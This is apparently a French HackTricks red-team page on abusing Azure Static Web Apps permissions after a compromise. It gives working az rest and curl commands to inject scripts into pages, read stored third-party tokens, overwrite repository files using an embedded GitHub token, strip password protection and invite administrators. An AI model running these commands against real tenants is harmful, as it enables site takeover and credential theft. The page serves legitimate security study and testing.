Az - Static Web Apps Post Exploitation
Reading time: 11 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Azure Static Web Apps
Pour plus d'informations sur ce service, consultez :
Microsoft.Web/staticSites/snippets/write
Il est possible de faire charger une page web statique avec du code HTML arbitraire en créant un extrait. Cela pourrait permettre à un attaquant d'injecter du code JS dans l'application web et de voler des informations sensibles telles que des identifiants ou des clés mnémotechniques (dans des portefeuilles web3).
La commande suivante crée un extrait qui sera toujours chargé par l'application web :
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Lire les identifiants de tiers configurés
Comme expliqué dans la section App Service :
En exécutant la commande suivante, il est possible de lire les identifiants de tiers configurés dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurés dans un utilisateur différent, vous ne pourrez pas accéder au token d'un autre.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Cette commande renvoie des jetons pour Github, Bitbucket, Dropbox et OneDrive.
Voici quelques exemples de commandes pour vérifier les jetons :
#Â GitHub â List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket â List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
#Â Dropbox â List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
#Â OneDrive â List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Ăcraser un fichier - Ăcraser des routes, HTML, JS...
Il est possible de Ă©craser un fichier Ă l'intĂ©rieur du dĂ©pĂŽt Github contenant l'application via Azure en utilisant le token Github pour envoyer une requĂȘte telle que celle-ci, qui indiquera le chemin du fichier Ă Ă©craser, le contenu du fichier et le message de commit.
Cela peut ĂȘtre exploitĂ© par des attaquants pour essentiellement modifier le contenu de l'application web afin de servir un contenu malveillant (voler des identifiants, des clĂ©s mnĂ©motechniques...) ou simplement pour rediriger certains chemins vers leurs propres serveurs en Ă©crasant le fichier staticwebapp.config.json
.
warning
Notez que si un attaquant parvient à compromettre le dépÎt Github de quelque maniÚre que ce soit, il peut également écraser le fichier directement depuis Github.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
Avec cette autorisation, il est possible de modifier le mot de passe protĂ©geant une application web statique ou mĂȘme de dĂ©protĂ©ger chaque environnement en envoyant une requĂȘte telle que la suivante :
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Cette permission permet d'obtenir le jeton de déploiement de clé API pour l'application statique :
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Ensuite, afin de mettre à jour une application en utilisant le token, vous pourriez exécuter la commande suivante. Notez que cette commande a été extraite en vérifiant comment fonctionne Github Action https://github.com/Azure/static-web-apps-deploy, car c'est celle qu'Azure a définie par défaut à utiliser. Ainsi, l'image et les paramÚtres pourraient changer à l'avenir.
tip
Pour déployer l'application, vous pourriez utiliser l'outil swa
de https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token ou suivre les étapes brutes suivantes :
- Téléchargez le dépÎt https://github.com/staticwebdev/react-basic (ou tout autre dépÎt que vous souhaitez déployer) et exécutez
cd react-basic
. - Modifiez le code que vous souhaitez déployer.
- Déployez-le en exécutant (N'oubliez pas de changer le
<api-token>
):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
warning
MĂȘme si vous avez le token, vous ne pourrez pas dĂ©ployer l'application si la Politique d'Autorisation de DĂ©ploiement est dĂ©finie sur Github. Pour utiliser le token, vous aurez besoin de la permission Microsoft.Web/staticSites/write
pour changer la méthode de déploiement afin d'utiliser le token API.
Microsoft.Web/staticSites/write
Avec cette permission, il est possible de changer la source de l'application web statique vers un autre dĂ©pĂŽt Github, cependant, cela ne sera pas provisionnĂ© automatiquement car cela doit ĂȘtre fait Ă partir d'une action Github.
Cependant, si la Politique d'Autorisation de Déploiement est définie sur Github, il est possible de mettre à jour l'application à partir du nouveau dépÎt source !.
Dans le cas oĂč la Politique d'Autorisation de DĂ©ploiement n'est pas dĂ©finie sur Github, vous pouvez la changer avec la mĂȘme permission Microsoft.Web/staticSites/write
.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Exemple d'Action Github pour déployer l'application :
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
Avec cette permission, il est possible de réinitialiser la clé API de l'application web statique, ce qui peut potentiellement provoquer un DoS des workflows qui déploient automatiquement l'application.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
Cette permission permet de créer une invitation à un utilisateur pour accéder à des chemins protégés à l'intérieur d'une application web statique avec un rÎle spécifique donné.
La connexion se trouve dans un chemin tel que /.auth/login/github
pour github ou /.auth/login/aad
pour Entra ID et un utilisateur peut ĂȘtre invitĂ© avec la commande suivante :
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
Par dĂ©faut, les Pull Requests d'une branche dans le mĂȘme dĂ©pĂŽt seront automatiquement compilĂ©es et construites dans un environnement de staging. Cela pourrait ĂȘtre abusĂ© par un attaquant ayant un accĂšs en Ă©criture sur le dĂ©pĂŽt mais sans pouvoir contourner les protections de branche de la branche de production (gĂ©nĂ©ralement main
) pour déployer une version malveillante de l'application dans l'URL de staging.
L'URL de staging a ce format : https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>
comme : https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
tip
Notez qu'en rÚgle générale, les PR externes ne lanceront pas de workflows à moins qu'elles n'aient fusionné au moins 1 PR dans le dépÎt. Un attaquant pourrait envoyer une PR valide au dépÎt et ensuite envoyer une PR malveillante au dépÎt pour déployer l'application malveillante dans l'environnement de staging. CEPENDANT, il existe une protection inattendue, l'action Github par défaut pour déployer dans l'application web statique a besoin d'accÚs au secret contenant le token de déploiement (comme secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F
) mĂȘme si le dĂ©ploiement est effectuĂ© avec l'IDToken. Cela signifie qu'une PR externe n'aura pas accĂšs Ă ce secret et qu'une PR externe ne peut pas modifier le Workflow pour y placer un token arbitraire sans qu'une PR soit acceptĂ©e, cette attaque ne fonctionnera donc pas vraiment.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.